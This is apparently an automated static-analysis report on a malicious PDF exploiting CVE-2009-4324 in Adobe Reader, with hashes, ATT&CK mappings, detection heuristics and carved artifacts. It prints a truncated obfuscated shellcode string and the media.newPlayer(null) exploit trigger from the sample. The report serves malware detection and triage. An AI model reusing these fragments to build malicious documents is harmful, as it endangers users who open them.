Malicious PDF — malware analysis report

Static analysis result for SHA-256 f28d4bea0ee4a6d7…

MALICIOUS

PDF

85.3 KB Created: 2010-05-12 14:48:15 +08:00 Authoring application: WPS Office 个人版 (via PDFlib 7.0.0 (C++/Win32)) First seen: 2026-05-10
MD5: 387aaf0a3cc057502b1da36a35bfd3dc SHA-1: b0573d858ef55781fa97b4cb1f1187d9fb582087 SHA-256: f28d4bea0ee4a6d7a72b47745bdd6a739a65563527bb4d65fbd822e3775b322a
290 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell T1566.001 Phishing: Spearphishing Attachment

The PDF file contains embedded JavaScript that is obfuscated and utilizes the unescape() function, indicating malicious intent. The critical heuristic firing for CVE-2009-4324 confirms an exploit targeting a known vulnerability in Adobe Reader. The presence of a secondary embedded PDF further suggests a multi-stage attack. The JavaScript is likely responsible for downloading and executing a subsequent payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9944

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
🗂 Part of campaign: pdffactory.com 18 samples

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2610 bytes
SHA-256: 447cccb0b28690cfd35e6c7d285b83d1ca96a54fd0f2a437498ab8c6a303cc5d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
font_00_sfnt_off0000aa77.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xAA77 21464 bytes
SHA-256: bdab15c72ec5a37d61944db6415ea4ab85cd85c56ef86d8ba91cc069a9bc9da6
font_01_sfnt_off0000ce2e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xCE2E 222716 bytes
SHA-256: 6b1af86e742004cde4c431a20efa9af7f7ee7fd198a7188df96578bf3b0a3e79
polyglot_child_pdf_off00009fd3.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x9FD3 46432 bytes
SHA-256: be952edd29d6af2b8a0729f07fc8d9228de7c89b65adfdf520e61835c60daf06
polyglot_child_pdf_off00013d46.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x13D46 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8